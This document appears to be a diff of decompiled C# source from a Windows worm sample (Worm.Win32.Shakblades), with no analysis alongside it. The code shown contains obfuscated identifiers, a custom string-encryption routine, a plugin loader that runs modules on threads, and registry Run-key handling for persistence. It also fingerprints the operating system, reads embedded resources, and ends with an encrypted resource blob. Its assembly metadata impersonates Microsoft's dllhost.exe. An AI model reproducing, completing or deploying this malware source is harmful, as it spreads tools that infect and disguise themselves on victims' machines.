|
||||
}
|
||||
}
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("dp+UpqZTqpynm1N8g5+ompyhUzOdE72coaeYpZmUlphToaKnU5miqKGXYQ==", true);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = ex.Message;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static bool ᓒኞᣆќᆈࡏಒ\u0B76ୁ(IPlugin _param0)
|
||||
{
|
||||
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.ContainsKey(_param0.Guid))
|
||||
{
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Add(_param0.Guid, _param0);
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = string.Empty;
|
||||
if (ᙐᗡѬᵲ૦ᵛଔѥቾ.ޅ\u0ADCğඐႳᚦ\u086Fn\u09FA != null)
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.ޅ\u0ADCğඐႳᚦ\u086Fn\u09FA((object) null, _param0);
|
||||
return true;
|
||||
}
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ = _param0.Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("bVN0n6WYlJcznRO9rFOGp6KlmJc=", true);
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void \u136Eᐰ\u1CAA\u0EE1ள(Guid _param0)
|
||||
{
|
||||
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.ContainsKey(_param0))
|
||||
return;
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0382Ⴊ\u19CD\u0DF1в.Remove(_param0);
|
||||
ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Remove(_param0);
|
||||
}
|
||||
|
||||
public static string \u0CC0() => ᙐᗡѬᵲ૦ᵛଔѥቾ.\u1AA8ᓅȻٻ\u0DCE\u02F8\u193Cᰮ;
|
||||
|
||||
public static void ᄄĐἮᥪ᭫ᘙȃই(object ඳ, IPlugin _param1, PluginArgs _param2) => new Thread((ThreadStart) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
_param1.Execute(ඳ, _param2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
})).Start();
|
||||
|
||||
public static void ፂ\u0ECFȐفᅵټ༵୩()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
||||
return;
|
||||
if (ȩזြڹᡡỾỔው.Փᬃᜐᣖ̗ᨠᵴ == RegistryHive.CurrentUser)
|
||||
Registry.CurrentUser.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).DeleteValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A);
|
||||
else
|
||||
Registry.LocalMachine.CreateSubKey(ȩזြڹᡡỾỔው.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ).DeleteValue(ȩזြڹᡡỾỔው.ᠧᏄࣧެΙά\u066A);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public delegate void ᘕঃ(object sender, IPlugin plugin);
|
||||
}
|
||||
}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᛕᔱᨈكအན
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ᛕᔱ\u05CDᨈكအ\u0FFEན : EventArgs
|
||||
{
|
||||
private byte[] \u0B98\u1C7Eઇതڸ;
|
||||
private int \u09E5ᬠ\u1C87पเ᷇ஶ\u1C85;
|
||||
private \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ फ़\u0BFCਔ\u008C۵ᔺᩉ;
|
||||
|
||||
public ᛕᔱ\u05CDᨈكအ\u0FFEན(byte[] data, int len, \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ header)
|
||||
{
|
||||
this.ᢡऒᤵْϩᇞñ = data;
|
||||
this.ᴭᢎᵄྔ = len;
|
||||
this.Ƃ\u038DݤΛ\u0ADD\u0384 = header;
|
||||
}
|
||||
|
||||
public byte[] ᢡऒᤵْϩᇞñ
|
||||
{
|
||||
get => this.\u0B98\u1C7Eઇതڸ;
|
||||
set => this.\u0B98\u1C7Eઇതڸ = value;
|
||||
}
|
||||
|
||||
public int ᴭᢎᵄྔ
|
||||
{
|
||||
get => this.\u09E5ᬠ\u1C87पเ᷇ஶ\u1C85;
|
||||
set => this.\u09E5ᬠ\u1C87पเ᷇ஶ\u1C85 = value;
|
||||
}
|
||||
|
||||
public \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ Ƃ\u038DݤΛ\u0ADD\u0384
|
||||
{
|
||||
get => this.फ़\u0BFCਔ\u008C۵ᔺᩉ;
|
||||
set => this.फ़\u0BFCਔ\u008C۵ᔺᩉ = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᛷḼဩ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ᛷḼဩ\u09CF
|
||||
{
|
||||
public \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ ୱڗ\u0D81ő\u0D70ᛮ;
|
||||
public byte[] \u108Aປ;
|
||||
|
||||
public ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ header, byte[] data)
|
||||
{
|
||||
this.ୱڗ\u0D81ő\u0D70ᛮ = header;
|
||||
this.\u108Aປ = data;
|
||||
}
|
||||
|
||||
public byte[] ᖣᅸڨฃ()
|
||||
{
|
||||
List<byte> byteList = new List<byte>();
|
||||
byteList.AddRange((IEnumerable<byte>) BitConverter.GetBytes((int) this.ୱڗ\u0D81ő\u0D70ᛮ));
|
||||
byteList.AddRange((IEnumerable<byte>) this.\u108Aປ);
|
||||
byte[] array = byteList.ToArray();
|
||||
byteList.Clear();
|
||||
return \u1928ᔾዔ.ᅀძṶၠ(array, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.៷˴ᄨᥨᗽ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u17F7\u02F4ᄨᥨᗽ
|
||||
{
|
||||
public static string ఽ\u087CᏃ()
|
||||
{
|
||||
OperatingSystem osVersion = Environment.OSVersion;
|
||||
string str = "";
|
||||
if (osVersion.Platform.ToString() == "Win32NT")
|
||||
{
|
||||
switch (\u17F7\u02F4ᄨᥨᗽ.\u0AE7ԵॻƂẺႦᛀળ(osVersion.Version))
|
||||
{
|
||||
case "4.1.2222":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("L0FGPEfYO8ENT0v4ERA=", true);
|
||||
break;
|
||||
case "4.1.2600":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("L0FGPEdP2DvBDUv4ERArHQ==", true);
|
||||
break;
|
||||
case "4.9.3000":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("[WINME]", true);
|
||||
break;
|
||||
case "5.0.2195":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("L0FGPEdP2DvBDUv4CggICA==", true);
|
||||
break;
|
||||
case "5.1.2600":
|
||||
case "5.2.3790":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("L0FGPEfYO8ENT0v4MCg=", true);
|
||||
break;
|
||||
case "6.0.6000":
|
||||
case "6.0.6001":
|
||||
case "6.0.6002":
|
||||
case "6.0.6003":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("+w0SCBMbpHuKjhfE+g0XGAU=", true);
|
||||
break;
|
||||
case "6.1.7600":
|
||||
case "6.1.7601":
|
||||
case "6.1.7602":
|
||||
case "6.1.7603":
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("+w0SCKR7io4TGxfE2w==", true);
|
||||
break;
|
||||
default:
|
||||
str = \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("+RIPpHuKjhITGxI=", true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
string empty = string.Empty;
|
||||
\u17F7\u02F4ᄨᥨᗽ.ᴀᅒ\u007Eਗ਼ߎᘘᒯܡᤄ ᴀᅒਗ਼ߎᘘᒯܡᤄ = new \u17F7\u02F4ᄨᥨᗽ.ᴀᅒ\u007Eਗ਼ߎᘘᒯܡᤄ();
|
||||
ᴀᅒਗ਼ߎᘘᒯܡᤄ.ܨ = Marshal.SizeOf(typeof (\u17F7\u02F4ᄨᥨᗽ.ᴀᅒ\u007Eਗ਼ߎᘘᒯܡᤄ));
|
||||
if (\u17F7\u02F4ᄨᥨᗽ.ᰐረἣە\u104C(ref ᴀᅒਗ਼ߎᘘᒯܡᤄ))
|
||||
{
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DR", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaEk=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DS", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaEo=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DT", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaEs=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DU", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaEw=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DV", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaE0=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DW", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaE4=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("8wUSFgkDBaDMBSXA8AEDC8DX", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("OGsYVzSwaE8=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("a32KjoF7fRhXNLA4aHl7gzhQ", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("iLtoXUo8uKA=", true);
|
||||
if (ᴀᅒਗ਼ߎᘘᒯܡᤄ.\u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E.ToString().Contains(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("a32KjoF7fRhXNLA4aHl7gzhR", true)))
|
||||
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("iLtoXUo8uKE=", true);
|
||||
}
|
||||
return !\u17F7\u02F4ᄨᥨᗽ.ᣁ() ? str + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("iJWIaF1KPOCgng==", true) : str + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("iJWIaF1KPOCenA==", true);
|
||||
}
|
||||
|
||||
private static string \u0AE7ԵॻƂẺႦᛀળ(Version _param0) => _param0.Major.ToString() + "." + _param0.Minor.ToString() + "." + _param0.Build.ToString();
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetVersionEx")]
|
||||
private static extern bool ᰐረἣە\u104C(ref \u17F7\u02F4ᄨᥨᗽ.ᴀᅒ\u007Eਗ਼ߎᘘᒯܡᤄ _param0);
|
||||
|
||||
public static bool ᣁ()
|
||||
{
|
||||
try
|
||||
{
|
||||
return !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("ProgramW6432"));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public struct ᴀᅒ\u007Eਗ਼ߎᘘᒯܡᤄ
|
||||
{
|
||||
public int ܨ;
|
||||
public int \u003Fᵚᇛჩᬃഢᨨ\u00F7;
|
||||
public int தጢ\u104Bᥞᶑᄧ᭐ώ\u0040;
|
||||
public int ᔥڟ;
|
||||
public int ṏÕấᮺ\u087D;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string \u034Aค\u0008ᇀስ̛ׅᪧ\u1B5E;
|
||||
public short ƹᗰ\u0FC0\u0A56uᅜ;
|
||||
public short \u0F72ြॽӰᢟ͒ᣃẈᅂ;
|
||||
public short \u0F30ṋᄆᆃẈҤ;
|
||||
public byte \u1CED\u0EF0\u0B9BŢᵕ\u1398᩵ᗀἱ;
|
||||
public byte \u1DC7ഛեᮈ\u0FD9;
|
||||
}
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ȸº᭰ৼ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
[Flags]
|
||||
public enum \u187Bȸº᭰\u09FC
|
||||
{
|
||||
ഴᏮ\u18ABٞᴑ\u1C96ᦁྌᚳ = 1,
|
||||
ᰃ = 2,
|
||||
ཅ\u000A = 4,
|
||||
ẟᛗᚕ\u0C11ᘾ = 8,
|
||||
}
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᤨᔾዔ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Text;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u1928ᔾዔ
|
||||
{
|
||||
public static byte[] ᅀძṶၠ(byte[] _param0, bool _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = new Random().Next(-2000000000, 2000000000);
|
||||
for (int index = 0; index < _param0.Length; ++index)
|
||||
_param0[index] = (_param0[index] += (byte) num);
|
||||
List<byte> byteList = new List<byte>();
|
||||
byteList.AddRange((IEnumerable<byte>) _param0);
|
||||
byte[] bytes = BitConverter.GetBytes(num);
|
||||
byteList.InsertRange(byteList.Count / 2, (IEnumerable<byte>) bytes);
|
||||
byte[] array = byteList.ToArray();
|
||||
byteList.Clear();
|
||||
return _param1 ? Encoding.ASCII.GetBytes(Convert.ToBase64String(array)) : array;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return (byte[]) null;
|
||||
}
|
||||
|
||||
public static byte[] ᖝሇᬐ\u09D1য়᪷(byte[] _param0, bool ཝݾᕉਚ)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<byte> byteList1 = new List<byte>(ཝݾᕉਚ ? (IEnumerable<byte>) Convert.FromBase64String(Encoding.ASCII.GetString(_param0)) : (IEnumerable<byte>) _param0);
|
||||
int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0);
|
||||
byteList1.RemoveRange((byteList1.Count - 4) / 2, 4);
|
||||
for (int index1 = 0; index1 < byteList1.Count; ++index1)
|
||||
{
|
||||
List<byte> byteList2;
|
||||
int index2;
|
||||
byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32);
|
||||
}
|
||||
byte[] array = byteList1.ToArray();
|
||||
byteList1.Clear();
|
||||
return array;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return (byte[]) null;
|
||||
}
|
||||
|
||||
public static string յ(string ڝ, bool _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = new Random().Next(-2000000000, 2000000000);
|
||||
byte[] bytes1 = Encoding.GetEncoding(1252).GetBytes(ڝ);
|
||||
for (int index = 0; index < bytes1.Length; ++index)
|
||||
bytes1[index] += (byte) num;
|
||||
List<byte> byteList = new List<byte>();
|
||||
byteList.AddRange((IEnumerable<byte>) bytes1);
|
||||
byte[] bytes2 = BitConverter.GetBytes(num);
|
||||
byteList.InsertRange(byteList.Count / 2, (IEnumerable<byte>) bytes2);
|
||||
byte[] array = byteList.ToArray();
|
||||
byteList.Clear();
|
||||
return _param1 ? Convert.ToBase64String(array) : Encoding.GetEncoding(1252).GetString(array);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
public static string ᶽ\u005B\u0E8EЇᘹഏಔভ(string ޅਜ਼ႁ, bool _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
List<byte> byteList1 = new List<byte>(_param1 ? (IEnumerable<byte>) Convert.FromBase64String(ޅਜ਼ႁ) : (IEnumerable<byte>) Encoding.GetEncoding(1252).GetBytes(ޅਜ਼ႁ));
|
||||
int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0);
|
||||
byteList1.RemoveRange((byteList1.Count - 4) / 2, 4);
|
||||
for (int index1 = 0; index1 < byteList1.Count; ++index1)
|
||||
{
|
||||
List<byte> byteList2;
|
||||
int index2;
|
||||
byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32);
|
||||
}
|
||||
byte[] array = byteList1.ToArray();
|
||||
byteList1.Clear();
|
||||
return Encoding.GetEncoding(1252).GetString(array);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
|
||||
public static byte[] \u1CEDኰҁலኘᜉവን(byte[] ᓀƆ͟ᅖ)
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true))
|
||||
gzipStream.Write(ᓀƆ͟ᅖ, 0, ᓀƆ͟ᅖ.Length);
|
||||
memoryStream.Position = 0L;
|
||||
byte[] numArray = new byte[memoryStream.Length];
|
||||
memoryStream.Read(numArray, 0, numArray.Length);
|
||||
byte[] dst = new byte[numArray.Length + 4];
|
||||
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 4, numArray.Length);
|
||||
Buffer.BlockCopy((Array) BitConverter.GetBytes(ᓀƆ͟ᅖ.Length), 0, (Array) dst, 0, 4);
|
||||
return dst;
|
||||
}
|
||||
|
||||
public static byte[] \u0378ઙ᭱ᰤᱩሾལ(byte[] _param0)
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
int int32 = BitConverter.ToInt32(_param0, 0);
|
||||
memoryStream.Write(_param0, 4, _param0.Length - 4);
|
||||
byte[] buffer = new byte[int32];
|
||||
memoryStream.Position = 0L;
|
||||
using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress))
|
||||
gzipStream.Read(buffer, 0, buffer.Length);
|
||||
return buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᱠ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class ᱠ : BinaryReader
|
||||
{
|
||||
public ᱠ(byte[] data)
|
||||
: base((Stream) new MemoryStream(data))
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
|
||||
[assembly: Guid("4ef180dc-8ba3-43bb-80b8-51c047a80913")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
|
||||
[assembly: AssemblyFileVersion("6.1.7600.16385")]
|
||||
[assembly: AssemblyCompany("Microsoft Corporation")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyDescription("COM Surrogate")]
|
||||
[assembly: AssemblyTitle("dllhost.exe")]
|
||||
[assembly: AssemblyVersion("6.1.7600.16385")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: G1iw5jvdvf5jyuwmtz03k02vp.Mvsaeg2eeoaqx3utk
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-6d5fef800026555b0865a8fd9ba051fda07985211385e0bd92a5e9a77af03653.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace G1iw5jvdvf5jyuwmtz03k02vp
|
||||
{
|
||||
public class Mvsaeg2eeoaqx3utk
|
||||
{
|
||||
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
|
||||
public static extern IntPtr Nyja0dryfvflph11ok4ga5zpz(
|
||||
IntPtr hModule,
|
||||
int lpID,
|
||||
string lpType);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
|
||||
public static extern IntPtr Xpo3aq0mxqyvzr1zld5qguuzg(IntPtr hModule, IntPtr hResInfo);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
|
||||
public static extern uint Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(IntPtr hModule, IntPtr hResInfo);
|
||||
}
|
||||
}
|
||||
+1
@@ -0,0 +1 @@
|
||||
½¾ùìí¡÷äóòèîï¼£°¯±£¾¿½ÑóîõäâõèîïÒõôã×àíôäò¿¡¡½Åäíèìèõäóò¿¡¡¡¡½ÒõôãÅäíèì¿ûîìíøµõôó´ñûøíàà´½®ÒõôãÅäíèì¿¡¡¡¡½ÌäòòàæäÅäíèì¿óôñ±ò³ñõàìô÷ëñìççóââçîäåê½®ÌäòòàæäÅäíèì¿¡¡¡¡½ÀíæîÅäíèì¿÷÷ìèéè³°ñíîòù´²³é½®ÀíæîÅäíèì¿¡¡¡¡½ìèòâäííàïäîôòÅäíèì¿ôìîé²ãìâèååå÷ùõûéöû÷µæôµò½®ìèòâäííàïäîôòÅäíèì¿¡¡¡¡½öäãÆäõÅäíèì¿éçûâîìøøìæ´÷û°±°èø°ðùøìàó½®öäãÆäõÅäíèì¿¡¡¡¡½ÃîôïåÇèíäÅäíèì¿òñöûìïïã÷âïôëóçíõåîç²û÷øë½®ÃîôïåÇèíäÅäíèì¿¡¡¡¡½ÏäöÃîôïåÇèíäÅäíèì¿Ð°òéíïøëæùèàåµê±³èøòå³ôµëµììîååôû½®ÏäöÃîôïåÇèíäÅäíèì¿¡¡½®Åäíèìèõäóò¿¡¡½Óäòîôóâäò¿¡¡¡¡½ÓäòîôóâäÕøñä¿¡¡¡¡¡¡½ÒäõõèïæòÕøñä¿Â×ÂÏÒÇÈÓ±ÕÈÄÛÏ˲ÉׯËÒ±°³Î½®ÒäõõèïæòÕøñä¿¡¡¡¡¡¡½ÅàõàÕøñä¿ÃÃÔ°Ä×רű×ÎÄÇÉÔÕ°×ÇÃÅØÃÖ½®ÅàõàÕøñä¿¡¡¡¡¡¡½ÃèïåäóÕøñä¿À´ÉÂÀÛÀÎËØÖ³Ç´ÙÏÐÀÓËÖ°ÊÙ´Ô´±ÅÕÃÇǽ®ÃèïåäóÕøñä¿¡¡¡¡½®ÓäòîôóâäÕøñä¿¡¡¡¡½ÓäòîôóâäÈÅ¿¡¡¡¡¡¡½ÒäõõèïæòÈÅ¿°·½®ÒäõõèïæòÈÅ¿¡¡¡¡¡¡½ÅàõàÈÅ¿µµ½®ÅàõàÈÅ¿¡¡¡¡¡¡½ÃèïåäóÈÅ¿µ¶½®ÃèïåäóÈÅ¿¡¡¡¡½®ÓäòîôóâäÈÅ¿¡¡½®Óäòîôóâäò¿¡¡½Óäìî÷äÂîåä¿¡¡¡¡½ÌäòòàæäÃîù¿Õóôä½®Ì